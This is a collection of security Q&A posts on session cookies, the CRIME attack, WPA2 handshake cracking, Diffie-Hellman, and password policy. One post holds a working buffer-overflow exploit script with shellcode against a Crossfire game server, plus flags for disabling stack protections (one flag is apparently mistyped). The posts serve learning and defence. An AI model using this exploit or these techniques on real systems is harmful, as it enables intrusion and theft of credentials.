(http://www.lightbluetouchpaper.org/2008/05/16/hardened-stateless-session-cookies/)
which also expands on the previous method.

As the subject is extremely complicated I'm am only looking for answers from security experts with real world experience in creating and breaking authentication schemes.

"Replay attacks" don't really apply to cookies, because a cookie is by definition something which is meant to be replayed: the user's browser sends back the same cookie value, and that is how your server knows that it is the same user.

What you want to avoid is someone spying on the line, observing the cookie value, and then sending the same cookie on his own connections. The only known practical solution for that is to run the whole protocol inside a tunnel which ensures confidentiality and integrity of data in transit, and that's known as "SSL" (aka HTTPS).

Then there are two ways for generating and verifying the cookie values on the server:

You can just generate a random value of sufficient size (i.e. 16 bytes or so), so that it would be highly improbable for an attacker to guess the value out of sheer luck. The server remembers for each user his current "session token", as an extra column in the "users" database.
You produce the token as an unforgeable value deterministically computed from the user identifier. That's what you do, and that's a reasonable concept. Basically, instead of storing some extra state on the server, you offload it on the client, and you use a MAC with a server-side key so that clients cannot forge "valid" cookie values.

Your code describes two nested HMAC calls, which is weird and unwarranted. One call is sufficient. The generic construction is that a cookie contains a value v and a MAC m such that v encodes the state you wanted to store in the client, and m is computed over v. The state you want to store, in your case, is: "this client has user ID i and logged on at time t". You can use whatever encoding you wish provided that you can decode it unambiguously.

To sum things up: producing cookie values with a MAC is a valid way of doing session management, and HMAC/SHA-256 is good for that. But you must think of it as an optimization: you store values in the client to avoid storing them on the server. This has the unfortunate consequence that the client can forget data out of your control (the client may destroy the cookie) or can do time warps (the client may change the value stored in its browser to an older cookie value -- an issue which is mitigated by including dates in the cookies, under control of the MAC).

If you can keep state server side and just use random cookie values, then do it: it is simpler and gives more control to the server.


CAPTCHA on pages secured with login My local mobile carrier (Play, Poland) and its paid SMS gate is the first example, that I recall in my entire Internet history, that forces users to fill out dully CAPTCHAs even on pages, which are secured by HTTPS protocol and user login.

Is there any reason for doing so in this situation? Is there any increased security or anti-spam effects?

In this particular case, user accounts are only half-self-registered. Anyone can create an account, but as long as he/she will not provide a valid, in-network mobile number, that is further verified by sending text message with unique code, then such account is unable to fully register and use SMS gateway.

I can't imagine spam-bot (or its author) creating an account in this situation or, even if that would be possible, a percentage of such cases would be minimal and -- in my opinion -- would not judge annoying a majority of normal, legal users with CAPTCHAs on pages available only after login.

Is this a common technique at all? I have the feeling that I was seeing CAPTCHAs only on free-access pages, i.e. without login required. I have real problems imagining Facebook, Twitter or any other service forcing user to fill out CAPTCHA once that user is validated and logged in. On registration or password-recall pages, yes. But, after login?

Is it common? Yes.

Does this provide any increased security? Not at all.

As it is, CAPTCHA provides minimal benefit, even in the best situations. Remember, the alleged purpose is to reduce flooding of a certain request, protecting a specific asset. I say "alleged", since that is not what CAPTCHA is even designed to do - it is designed, quite explicitly, to "tell computers and humans apart".
There are many possible ways to abuse a service via overuse, even as a human. Likewise, there are many legitimate uses for a computer accessing the service.
A good summary here on Sec.SE

That said, it is not clear from your question what the CAPTCHA is ostensibly protecting: if this was a feature to anonymously send an SMS, for basically any internet user, that could be a decent use of CAPTCHA to prevent spamming and overuse. (FTR, there are still much better solutions, but nonetheless this is still kinda valid-ish).
It does seem from your question that unvalidated users cannot actually send SMS, so if its just a question of viewing certain pages, that is definitely pointless.


CRIME - How to beat the BEAST successor? With the advent of CRIME, BEAST's successor, what possible protection is available for an individual and/or system owner in order to protect themselves and their users against this new attack on TLS?

This attack is supposed to be presented 10 days from now, but my guess is that they use compression.

SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello, with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE, the LZ77-derivative which is at the core of the GZip format and also modern Zip archives. When compression is used, it is applied on all the transferred data, as a long stream. In particular, when used with HTTPS, compression is applied on all the successive HTTP requests in the stream, header included. DEFLATE works by locating repeated subsequences of bytes.

Suppose that the attacker uses some JavaScript code which can send arbitrary requests to a target site (e.g. a bank) and runs on the attacked machine; the browser will send these requests with the user's cookie for that bank -- the cookie value that the attacker is after. Also, let's suppose that the attacker can observe the traffic between the user's machine and the bank (plausibly, the attacker has access to the same LAN of Wi-Fi hotspot than the victim; or he has hijacked a router somewhere on the path, possibly close to the bank server).

For this example, we suppose that the cookie in each HTTP request looks like this:

  Cookie: secret=7xc89f+94/wa

The attacker knows the Cookie: secret= part and wishes to obtain the secret value. So he instructs his JavaScript code to issue a request containing in the body the sequence Cookie: secret=0. The HTTP request will look like this:

POST / HTTP/1.1
Host: thebankserver.com
(...)
Cookie: secret=7xc89f+94/wa
(...)

Cookie: secret=0

When DEFLATE sees that, it will recognize the repeated Cookie: secret= sequence and represent the second instance with a very short token (one which states "previous sequence has length 15 and was located n bytes in the past); DEFLATE will have to emit an extra token for the '0'.

The request goes to the server. From the outside, the eavesdropping part of the attacker sees an opaque blob (SSL encrypts the data) but he can see the blob length (with byte granularity when the connection uses RC4; with block ciphers there is a bit of padding, but the attacker can adjust the contents of his requests so that he may phase with block boundaries, so, in practice, the attacker can know the length of the compressed request).

Now, the attacker tries again, with Cookie: secret=1 in the request body. Then, Cookie: secret=2, and so on. All these requests will compress to the same size (almost -- there are subtleties with Huffman codes as used in DEFLATE), except the one which contains Cookie: secret=7, which compresses better (16 bytes of repeated subsequence instead of 15), and thus will be shorter. The attacker sees that. Therefore, in a few dozen requests, the attacker has guessed the first byte of the secret value.

He then just has to repeat the process (Cookie: secret=70, Cookie: secret=71, and so on) and obtain, byte by byte, the complete secret.

What I describe above is what I thought of when I read the article, which talks about "information leak" from an "optional feature". I cannot know for sure that what will be published as the CRIME attack is really based upon compression. However, I do not see how the attack on compression cannot work. Therefore, regardless of whether CRIME turns out to abuse compression or be something completely different, you should turn off compression support from your client (or your server).

Note that I am talking about compression at the SSL level. HTTP also includes optional compression, but this one applies only to the body of the requests and responses, not the header, and thus does not cover the Cookie: header line. HTTP-level compression is fine.

(It is a shame to have to remove SSL compression, because it is very useful to lower bandwidth requirements, especially when a site contains many small pictures or is Ajax-heavy with many small requests, all beginning with extremely similar versions of a mammoth HTTP header. It would be better if the security model of JavaScript was fixed to prevent malicious code from sending arbitrary requests to a bank server; I am not sure it is easy, though.)

Edit 2012/09/12: The attack above can be optimized a bit by doing a dichotomy. Imagine that the secret value is in Base64, i.e. there are 64 possible values for each unknown character. The attacker can make a request containing 32 copies of Cookie: secret=X (for 32 variants of the X character). If one of them matches the actual cookie, the total compressed length with be shorter than otherwise. Once the attacker knows which half of his alphabet the unknown byte is part of, he can try again with a 16/16 split, and so on. In 6 requests, this homes in the unknown byte value (because 26 = 64). If the secret value is in hexadecimal, the 6 requests become 4 requests (24 = 16). Dichotomy explains this recent twit of Juliano Rizzo.

Edit 2012/09/13: IT IS CONFIRMED. The CRIME attack abuses compression, in a way similar to what is explained above. The actual "body" in which the attacker inserts presumed copies of the cookie can actually be the path in a simple request which can be triggered by a most basic <img> tag; no need for fancy exploits of the same-origin-policy.


How to make sure nobody has read this! Is there any computer/server which would allow me to get "guaranteed read access history" for files?

For example, suppose I made a file with my plaintext passwords and simply wanted to make sure that
those bits have not been read by anyone.  In principle, a hard disk controller could log every read
operation and have the ability to create a "DSA-signed timestamped history report" for any bit.  But,
to be strict, I also want the hard disk hardware to be configured in such a way that no software or
firmware change could fool me.  I realize that a harware change could always fool me, and therefore
my "guaranteed" definition stops as close to that limit as possible.

I think the above approach results in a TPM with an added "un-resetable logging" feature, but am
guessing such a TPM does not exist.  If there's an alternative method available now, please let me
know...maybe I'm over-engineering this.  I basically want to know with high certainty that no one
has looked at my passwords, but still have the option to look in case I forget one.

You mean something like a wax seal on an envelope?  Not to protect its contents, but to make it plain if the seal was ever broken?

There is special purpose technology that does exactly that, but requires specialized hardware.  Essentially there is a cryptographic key kept in a chip that erases itself when it is used, or if the hardware loses power or the assembly is tampered with.  The memory and control logic for the whole thing has to be wrapped up inside special containment.

I have never heard of any sort of application of this technology to the problem of password storage.  Passwords don't need to be in a tamper-evident container, they need to be kept confidential, which is an entirely different problem.


Wifi Sniffing Prevention I share my wifi with my brother. Recently I came to know he is sniffing on my browsing. Is there a way I can prevent him from sniffing on my browsing?

PS: I can't afford VPN.

Encrypt. VPN, ssl, https, etc. That's what they are for, to create secure channels within insecure environments.

HTTPS is an option for 'browsing'. Always make sure you are using the https version of sites instead of the http version. There are browser plug-ins that can help with that, too.

Challenge your assumption that you cannot afford VPNs, With a little knowledge, you can create your own.

Another potential solution is to find a used wifi router for free and use that to connect to your home's Internet connection. Set it up for yourself and don't tell your brother the password ...


What causes a powershell payload to run the first time but not the second? I created a windows/meterpreter/reverse_https powershell payload using the python script provided at the end of this article. In the first run, the meterpreter session opened successfully, when I closed it and tried to execute the powershell command again, I got a "Windows PowerShell has stopped working" error. Any ideas?

PS : the target machine is runnig windows 7 SP1 64 bit.

ESET Smart Security is powerful against malware such as meterpreter because it analyzes the behavior of the application after it is executed. Using heuristics, it flags certain behavior or actions as suspicious. It then terminates the process and blacklists the application. That could be the reason why it was executed successfully the first time but not after.

You can try for yourself in a VM to examine this matter more closely.


Is scanning a site directory considered illegal penetration testing? Does anyone know if using Dirbuster [link] to scan for unlisted directories and their contents is (possibly) legal in say the US?

If you don't have permission to perform security testing against a target, don't do it.

In the US, you are definitely at risk of falling foul of the The Computer Fraud and Abuse Act 1986, 1994, 1996 and possibly other acts. It's easy enough to set up a test target of your own, ask a friend for permission to test their site, or use a service such as Webgoat or Gruyere.

Essentially, if you are seen to be someone who knows what you are doing, then even typing in a single-quote to a web form has been enough to be arrested and charged over in the past.

No permission, no pen testing. It's simple. Why risk it.


Anonymous proxy over SSL Can you name any anonymous proxy software that don't use VPN connections? Basically, I'm analyzing different encrypted traffic and now I need to analyse a simple anonymity proxy traffic. I'm analyzing from the client side (my own traffic).

I need something like HotSpot Shield but that doesn't use VPN connections otherwise I can't capture the traffic.

Thanks

An obvious choice is Tor. It's an encrypted anonymity network, popular with the likes of Anonymous and blackhat groups.

Freenet is a similar network, though it's designed primarily for transferral of information within the Freenet network, rather than accessing normal web services in an anonymous fashion.

Alternatively, you could look into normal SOCKS proxies, including SSL proxies. You can find an abundance of them on HideMyAss.


Is authorisation of FTP safe against sniffing and vulnerable to man-in-the-middle hijacking? One of my hosting providers still just offers FTP access to the server...

Is authorisation safe (i.e. resistant to network sniffing) despite the content of the transmission is plain text?
Is it possible to hijack such a FTP session?

When is comes to content, I only upload resources available publicly, and eventual auth keys by websites are strong salted hashes, so network sniffing of content is not my concern. What I am afraid is if network sniffing could allow others to gain unauthorised access. I am not sure what FTP authorisation mechanisms are possible and how to check which one a given server is using.

To make the question/answer complete for the reader, am I correct that such a FTP connection would still be vulnerable to man-in-the-middle attack and session hijacking?

The authorization with FTP is plain text username and password and there is no protection against passive sniffing.

FTPS (FTP over TLS, not to be mixed up with SFTP which is file transfer over SSH) offers protection against sniffing. But many FTP clients don't check the TLS certificate properly or let the user easily skip the check and thus can be vulnerable against active sniffing (man in the middle attack).

Classical session hijacking as known from HTTP is not a problem here because there is no such kind of session. It is still possible to hijack the underlying TCP connection. But this needs an active man in the middle and works only with plain FTP in which case using passive sniffing to get the password would be the much simpler attack.


ProtonMail security concerns This TED talk brought me here. First of all, to those who created ProtonMail: Nice job!!. Regardless of what people say, it's definitely a big step forward from tradition options like Hotmail, Gmail or Yahoo mail for the vast majority of internet users.

However, I do have some concerns about its promise of security. In particular, security of the mailbox password:

According to this answer by a ProtonMail developer, a user's private key is encrypted (with AES256 as someone mentioned below) using the user's mailbox password, and the encrypted form is stored on the server. The developer also noted that the server doesn't store the mailbox password. However, the server must store some form of the mailbox password so that the user can be authenticated. Should a security breach occur on the server, wouldn't it be just a matter of time for a determined hacker (and a powerful hacker, if, say, a government decides to be one) to figure out the real mailbox password? And once the mailbox password is exposed, the private key is equally exposed, or, why bother with that if the user's account is now free to access? Then what security is left? Since internet security breaches of banks and healthcare providers and big retailers are already a familiar news headline, this does seem to be a real concern. To what extent is ProtonMail immune to such breaches?

Besides, not really so much of a concern for average users, but since Protonmail lists on its website in a prime location as one of its benefits that it is "Swiss based":
I assume the server has to keep a log of user activities, which must include users' IP addresses. If the Swiss government decides to pursue or help some other government pursue someone, wouldn't it be easy to just ask ProtonMail for the IP address needed? Of course, the government can just as well ask for the passwords as mentioned above, even if encrypted, when legally more convenient.

EDIT:

Sorry if I was not clear enough, but my point is that there wouldn't even be the need to tackle AES256 should a security breach occur. Once the hacker figures out the mailbox password, the private key will be plaintext. It is not revealed what mechanism is used to protect the stored mailbox password, but if it is like, say, LinkedIn (google hackers crack more than 60 of breached linkedin passwords), then it's definitely an Achilles's heel. Of course, there is the subtlety that finding a collision is not the same as finding the real password. But given the relative short lengths of passwords, collisions should be pretty sparse.

EDIT 2:

Due to lack of activity, I am going to conclude this thread. However, the issue remains: the way ProtonMail protects the private key (with the mailbox password) seems to weaken its security, potentially to a great extend (see the LinkedIn example I mentioned above). It does find a middle ground between the secure but user unfriendly extreme of PGP and the insecure but user friendly extreme of traditional email services, but it remains question where exactly it stands on the security scale.

However, the server must store some form of the mailbox password so that the user can be authenticated. Should a security breach occur on the server, wouldn't it be just a matter of time for a determined hacker (and a powerful hacker, if, say, a government decides to be one) to figure out the real mailbox password?

Security is about trade-offs. It is sometimes said that the only secure computer is the one that is unplugged from any power source, locked in a safe, sealed in concrete, sitting at the bottom of the Mariana Trench. I would probably add that it must have no device within it capable of storing any information. Such a computer would be (relatively) secure, but it would not be very user friendly, easy to use, or particularly useful for any real-world purpose. Anything more useful than this must trade some degree of security for its usability.

Now, having said that, the question remains: can we mitigate reasonable threats? It turns out that yes, we actually can.

Modern cryptographic algorithms (primitives) are very resistant to attacks. Even SHA1, which is currently being sunset for being weaker than expected (also from Google) is still more than strong enough for most use cases; it is being sunset because it turned out to be not as strong as we believed it was for this particular specific use case. This doesn't mean SHA-1 is broken; it simply means we have reason to switch to something even stronger.

At least in the public, we currently have no idea how we would even approach attacking AES-256 (assuming it is implemented correctly) successfully, given only a ciphertext/plaintext pair (a "key recovery" or "brute force" attack). Wikipedia gives the best publicly known key recovery attack of AES-256 at 2^254.4 complexity, and even that is with ridiculous amounts of data available. That cuts the time by about one third to two thirds (2^-0.6 ~ 0.6596, 2^-1.6 ~ 0.3299; remember that on average, the work factor to break a n-bit key by brute force is 2^(n-1) because with a randomly picked key, you will on average have found it after searching half the key space, with possibilities ranging from finding it on the first try to finding it after testing every single key in the key space), which means an attack that we thought should take utterly totally completely exponentially longer than the life time of the universe now only takes utterly totally almost exponentially longer than the life time of the universe. The difference of 0.6 or even 1.6 bits of security is totally insignificant in practice, and likely overshadowed by any issues in the random-number generation in the session or persistent key generation stage. We can't even realistically count to 2^128 in a reasonable amount of time, let alone do anything useful with the counted value, and 2^256 is another 2^128 times more difficult.

Even if the entity trying to break the encryption has access to a quantum computer, Grover's algorithm only reduces the search time (in terms of elementary operations) from approximately O(2^(n-1)) to approximately O(2^(n/2)), which means that a 256-bit key gives you the same effective security against a quantum capable adversary as a 128-bit key gives you against a classical attacker. This has actually become a major argument for 256-bit keys in symmetric cryptography; against a classical attacker, for all practical purposes, as illustrated, 128 bits is enough to provide a quite good level of security, but using 256 bits of key provides a safety net should quantum computers turn out to be viable on a larger scale. (Note that this is about the symmetric cryptography, not the key exchange! Many asymmetric encryption algorithms, including RSA, would be utterly devastated by for example Shor's algorithm in the face of a viable, large-scale, general-purpose quantum computer.) This is a major driver for work towards what has been termed post-quantum cryptography.

The probability that you are using a password that provides anywhere near 256 bits of entropy is basically zero. For comparison, you'd need a 20-word properly generated Diceware passphrase to get 258 bits of entropy, corresponding to 100 rolls of a perfectly fair six-sided dice; correct horse battery staple would get you only 52 bits of entropy if it were a properly generated Diceware passphrase and not publicly known (it, and probably every permutation of it, is almost certainly in every password dictionary on the planet by now), which at a trillion guesses per second (about 2^40 guesses/second) would last 2^11 to 2^12 seconds or on the order of one hour. That is nothing more than a minor inconvenience to the attacker. However, there is nothing preventing you from using a high-entropy password. ProtonMail does not appear to impose any arbitrary restrictions on password length, so if you want to, you are free to generate and use a 20-25 word Diceware passphrase for security matching that theoretically obtainable by AES-256.

As Lucas pointed out by incorporating the XKCD comic "Security", chances are that an attacker wouldn't be attacking the cryptographic primitives; they would be going after something else. It doesn't have to involve hitting you with a wrench; it could be something as mundane as remotely breaking into your computer, or breaking into your home (perhaps to install a physical key logger, or to try to get their hands on information that will help them bypass the encryption such as unprotected copies or written-down passwords), or getting their hands on shipments to you and doing interesting things with them that you would not agree with, or remotely listening in to the emissions caused by your computer during normal operations, or compelling you to cooperate through some form of blackmail or other power posturing. Because let's make something very clear: if the government is targetting you specifically, and aren't bothered by taking actions that show this, then they will find a way to extract what they need. The saving grace in a way is that most people are not specifically targetted and/or are not worth that level of exposure, but are simply caught up in the dragnet surveillance. (Though if a government-level adversary does later realize that they are interested in you specifically, that does make it easier for them to go back and look at older communications, possibly finding something incriminating there as well. When you can't know whether or not you are being targetted or what they might have if they choose to target you later, that becomes a problem.)

There are also ways of ensuring that someone knows a password without actually having the password stored in any recoverable form. Keyed hashes (HMACs) based in part on the password, zero-knowledge proofs, or simply calculating a cryptographic hash over a given random plaintext and storing only the encrypted plaintext and hash (if the encryption key is related to the password, then the two can only be recovered as a matching pair if the password is correct), are all ways this could be accomplished.

There are ways to slow attackers down. Encryption algorithms like Blowfish accomplish this by having a complicated (and slow) key schedule, or we can use a slow-running key derivation function such as properly tuned PBKDF2, bcrypt, scrypt or others with algorithms with less complex key schedules (such as AES). The idea here is to make attacking the (relatively low-entropy) password nearly as difficult as attacking the encryption key directly, while keeping the performance penalty of the conversion from the password to the encryption key small enough to not bother a human who is using the service. If the KDF is turned all the way up to eleven, this can make attacking a reasonable-entropy password quite impractical without inconveniencing a human user very much. (You probably basically wouldn't notice a 500-1000 ms delay when logging in, but if every tried password takes half a second normally, even with highly optimized implementations or large amounts of powerful hardware this puts a major dent in how many passwords can be tried even in an offline attack in a given period of time.)

While none of this is necessarily how ProtonMail specifically have solved the problem, I hope that with the above I show that, while the problem exists in theory, it is also very much a problem that is perfectly solvable in practice. Any competently written cryptographic software is going to employ a mixture of these techniques, as well as others.


Linux Memory Protection from buffer overflow I am practicing Linux buffer overflow exploitation. when trying to exploit a vulnerability in crossfire, everything works well and I get the shellcode placed in the right place, and the program flow gets redirected to shellcode, however, when start executing the shell code, the program fails.

OS version (bt5 R3):
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

exploit code:

import socket, sys
host = sys.argv[1]

//0x8134e77 jump eax
//0xb7dadad6 nop sled address

shellcode= ("\xcc\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80")

crash = "\x90" *199 + shellcode + "\x43" * 4090 + "\xd6\xda\xda\xb7" + "D" * 7

buffer= "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host, 13327))

print (s.recv(1024))

s.send(buffer)

s.close()

print "[*]Payload Sent !"

I placed a break point before the shellcode and the execution flow hits it successfully, however, after continuing the program crashes and gives the following message:
"Program received signal SIGSEGV, Segmentation fault.
0xb7daeb36 in ?? ()"

When inspecting this address, it's full of zeros!

I already disabled ASLR before starting the exercise and I am wondering does any other protection mechanism exist that prevents exploitation?

The way the shellcode is received by the vulnerable program, it will store this shellcode on the stack. You have two protection mechanisms that are going to prevent the shellcode from execution. One is the that stack will be flagged as non executable (the NX bit protection) and the other is the canaries (where a random value is placed before EIP on the stack and checked before poping EIP).

You need to disable both of these protection mechanisms before executing your shellcode from the stack.

If you are using gcc, recompile the vulnerable program like:
gcc -fno-stack-protector -z stackexec -o vuln_prog vuln_prog.c

Then perform the exploitation.


Why openssl shows www.google.com sha1WithRSAEncryption? According to Chromium Blog, Google Chrome 39 with SHA-1 certificate will show a yellow icon, but my Google Chrome shows:

Google Chrome (39.0.2171.99 (64-bit) on Ubuntu 12.04)

I've confirmed it's SHA-1 by OpenSSL:

$ openssl s_client -showcerts -connect www.google.com:443 2>&1 < /dev/null | \
  openssl x509 -text | \
  grep 'Signature Algorithm'
    Signature Algorithm: sha1WithRSAEncryption
    Signature Algorithm: sha1WithRSAEncryption

You've missed important information from the blog entry you link to (I've marked the relevant part):

  Sites with end-entity (“leaf”) certificates that expire on or after 1 January 2017, and which include a SHA-1-based signature as part of the certificate chain, will be treated as “secure, but with minor errors”.

The certificate for Google expires 15/10/3 so it is not affected by this condition.


What are the factors making a WPA2 handshake suitable for cracking? Days ago I was dumping handshakes of my APs using airodump-ng. I would later use aircrack-ng to crack them using wordlists which would purposely contain the passphrases. However, I noticed that some handshakes of the same AP cracked while others didn't. I'd recapture the handshake again and again and test, however, not all of them cracked.
So I started to inspect them using wireshark and I found no difference between a successfully cracked handshake and a failed one, they both contained:

the beacon

the M1

the M2

I once came across a post explaining that in order for a handshake to be healthy and enough for cracking it should contain:

the M2 (a must)

the M3 or the M1 (the M3 is preferred)

and possibly the beacon

So my question is what's the factor that makes a handshake suitable for cracking? Surely the eapol messages are a must but there must be something else judging. It is really inefficient and blind to capture a handshake, try to crack it, and assume the AP is secure just because the cracking failed, maybe the handshake wasn't healthy in the first place.

You need M2 and (M3 or M1), and they must belong to the same single set of  corresponding authentication (i.e., if the first authentication exchange fails, and there is a second, you won't be able to succeed using M2 from the first negotiation and M3 from the second).
The first thing to check is to load the capture log into Wireshark and verify that the value for the field Replay Counter is equal to n (for M1 and M2) and n+1 (for M3 and M4).
Still, as Replay Counter will be frequently reset, you should also check that the interval between M2 and M3 is correct: I've seen about <0.1s working ok, but there is no fixed rule for this value; you should take a look at the rest of the packets and decide if the intervals are plausible, also considering larger values possibly valid because of retransmitted packets.


What is the difference between Diffie Hellman generator 2 and 5? Generating Diffie Hellman parameters in OpenSSL can be done as follows:

$ openssl dhparam -out dh2048.pem 2048
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[...]

The "generator 2" caught my attention there. It appears I can choose between generator 2 and 5 as indicated by the manpage (man dhparam):

-2, -5
   The generator to use, either 2 or 5. 2 is the default. If present then the input file
   is ignored and parameters are generated instead.

What is generator 2 and 5?
How does choosing 5 instead of 2 affect the security?
Is this specific to OpenSSL?

Diffie-Hellman works in a subgroup of integers modulo a prime p. Namely, you have a generator g, which is a conventional integer modulo p. That generator has an order r which is the smallest positive integer such that gr = 1 mod p. The two systems who engage in DH choose private keys a and b respectively as integers in a given range, and the corresponding DH public keys (which they exchange over the wire) are ga mod p and gb mod p.

DH is secure as long as:

p is "proper": big enough (at least 1024 bits) and not produced with a "special structure" which makes discrete logarithm easy. A randomly generated prime of the right size will be fine.
The biggest prime divisor of r has size at least 2k bits, when targeting a security level of "k bits". Basically, the biggest prime divisor of r should be a prime integer of size at least 160 bits (200 bits or more would be preferred by today's standards).
The DH private keys are generated in a range of size at least 22k or so. Basically, a and b should also be 2k-bit integers.

The exact value of the generator g does not matter, as long as both parties use the same value. It can be shown that if someone can compute discrete logarithm relatively to a generator g, he can compute it as easily relatively to any generator g' of the same subgroup. Thus, what matters is the subgroup order, not the generator. You can use 2 or 5, it won't change security.

Using a short generator has some (slight) benefits for performance, which is why they are preferred. The performance difference between 2 and 5 will be negligible, though. In some protocols, the generator is agreed upon at the protocol level, i.e. not transmitted over the wire; it is hardcoded in both systems. Some protocols thus mandate the use of 2, others want to use 5, out of historical and traditional reasons. OpenSSL, as a general-purpose library, can generate parameters for both cases.

There are details, though. Making sure that the chosen generator indeed has an order with a big enough prime divisor can be tricky. By default, openssl dhparam will generate a so-called "safe prime", i.e. it generates random primes q until it find one such that p = 2q+1 is also a prime integer. The order of any g modulo q is always a divisor of p-1. Thus, by using a safe prime, OpenSSL is guaranteed that the order r of any generator g in the 2..p-2 range (in particular 2 and 5) will be equal to either q or 2q, thus always a multiple of q, which is a big enough prime.

If OpenSSL generated a random p without making sure that it was a "safe prime", then the actual order of g = 2 or 5 would be hard to compute exactly (it would involve factoring p-1, which is expensive).

In some non-DH contexts, namely the DSA signature algorithm, one must have a DH-like subgroup such that the order of the generator is exactly equal to a given non-too-big prime q, instead of merely being a multiple of q. In that case, OpenSSL (with the -dsaparam command-line switch) will first generate q, then p = qt + 1 for random values of t until a prime is found; and the generator will be obtained by taking a random s modulo p and computing g = st modulo p (this necessarily yields either 1 or an integer of order exactly q). When producing DSA parameters, the generator cannot easily (or at all) be forced to be a specific small integer like 2 or 5. For DSA, the generator is "big".


CVSS Remediation Level for Git Commit What do you select as remediation level if only a Git commit is available?

A very common scenario for this are vulnerabilities in the Linux kernel, before a fix becomes part of the stable branch it's only available as a commit.

Options are:

Not Defined (X)
Unavailable (U)
Workaround (W)
Temporary Fix (T)
Official Fix (O)

We often go with Temporary Fix, which might make sense for the Linux kernel, but what about "normal" Open Source projects, where using the Git repo is not as common as using the Linux kernel repo. Therefore customers won't pull this commit.

What do you think? The official documentary isn't clear at this point.

The remediation level is a property of the vulnerability: is it fixed or not?

Let's translate each level to CVE-2016-3714 to see a concrete example:

Unavailable: there's no fix or mitigation available. Most bugs start in this level
Workaround: the developers have yet to pitch in, but you can mitigate the risk by checking the magic number of uploaded images and only allowing whitelisted formats
Temporary fix: the developers are working on a patch, meanwhile they recommend to add this policy to your policy.xml file.
Official fix: an official patch has been released, you should upgrade your install.

The question thus becomes "At what point is a patch considered released?"

This will vary for each project: for some it's when the fix hits their "trunk" branch, for others it's when the update hits the auto-updater, for a distro it's when it hits the official repositories.

It's something that has to be defined by the project and is beyond CVSS' scope.

If you don't know how you should define it, think how your users got hold of your software in the first place and consider anything released through that same channel as released.


Firefox is uploading lots of data during startup Firefox is uploading lots of data during startup to servers like ec2-52-89-171-193.us-west-2.compute.amazonaws.com.https. Is there a way to find what data are being uploaded to any particular server and how is firefox uploading my data? Because my default home page in firefox is only google.com but there are lots of websites showing up during tcpdump and through wireshark.

Is there any recommended resources which I can go through to find out more about this?

Firefox has provided a list of things to try here to disable connections on startup. The entire list is a bit long and it covers things such as auto-updates, diagnostics, network detection etc. You can try disabling each setting to see if said connection stops.

As you are probably aware, your sample connection points to Amazon AWS cloud service. This means this could be anyone using Amazon's services, including Mozilla. It'll be difficult identifying who this belongs to unfortunately.


Storing Old Passwords. Bad Security I have client who is adamant they want to store the last 4 used passwords for every user and force each user to change their password every 6 months to something not used before (i.e not in the last 4 used).

I have advised them not to implement any forced password change for the following reasons:

Forcing a user to change a PW weakens the password in 90% of cases, especially a forced change that remembers the last 4
Storing effectively 5 password hashes (4 previous, 1 current) for every user could be a nightmare should their ever be a data breach
The system in questions already has many other well implemented security controls, IP whitelisting etc
Not forcing a PW change is in line with the latest NCSC guidelines

Now I have explained this in detail to them but they still will not see sense.

My question: Is their another angle I can take here? Is their any points I have missed that will help my case?

NOTE: I am not looking at the technically of storing old passwords, I am trying to convince the client not to implement a forced password change, and am trying to construct the strongest possible argument.

Before you spend any effort trying to get them to change, consider they might be under a requirement you are unaware of.  For example, if they are using these passwords to access a credit card environment, PCI DSS requires a periodic password change.  This could be something completely out of their control.

If that's not the case, you can try referring them to the latest recommendations of NIST in SP 800-63B. In section 5.1.1.2 Memorized Secret Verifiers (aka passwords), they say this [emphasis mine]:

  Verifiers SHOULD NOT require memorized secrets to be changed
  arbitrarily (e.g., periodically). However, verifiers SHALL force a
  change if there is evidence of compromise of the authenticator.

The entire section on passwords is intended to be read and implemented as a whole, of course, but this recommendation stands on its own.  The only complaint I have on the paper is that their recommended minimum length is only 8 characters, which is clearly not enough to withstand a brute force offline attack on password hashes that might be exposed in a data breach.  To mitigate that, they do require stored password hashes be sufficiently protected against brute force attacks, such as 10,000 rounds of PBKDF2.

10,000 rounds of PBKDF2 is suggested for online password verification because the idea is to make it computationally expensive to verify a single password, while still allowing for real-time processing during the frequent occurrences of user logins.   But note that old password confirmations would happen only during an actual password change activity, which should happen far less frequently than regular logins.  And this opens an opportunity to improve your security.

Consider expending extra processing power during the process of password changing.  Compute both the PBKDF2(password,10000) and store it in your "everyday password" table, and keep an archive of PBKDF2(password,50000) in your "prior password" table.  When they log in again, compare them only against the "everyday password" table.  When they change passwords, perform the lookup against all the entries in the prior password table; this will be much slower than a regular login, but because it's infrequent, it shouldn't disrupt your normal business.  Once it's verified as unique, discard and replace the existing everyday hash with the new everyday hash, and add the new strong hash to the "prior password" table, rolling off their oldest prior password.

If it ends up that you can't talk them out of periodic password changes, try to get them to at least implement the strongest practical storage of "prior passwords".


Implications re security practices of full account access granted to third parties I'm working with a company (say, Acme) that does some ongoing data collection and processing for me. The data in question is private but not all that sensitive. Part of Acme's service has password-protected access via the web, so Acme obviously needs to be handling security around internet-facing services.
A few days ago I wanted to enable a feature that would involve Acme streaming some of my private (but not all that sensitive) data to a third company (say, Bravo), and during the feature enabling process I got a warning that Bravo would be granted full access to my Acme account. (So I didn't proceed.) I've since confirmed with Acme that "right now" that's how it works (it really is full access, Bravo could [but in theory won't] change my account password, cancel my service, etc.), though they have plans to tighten it up in the future.
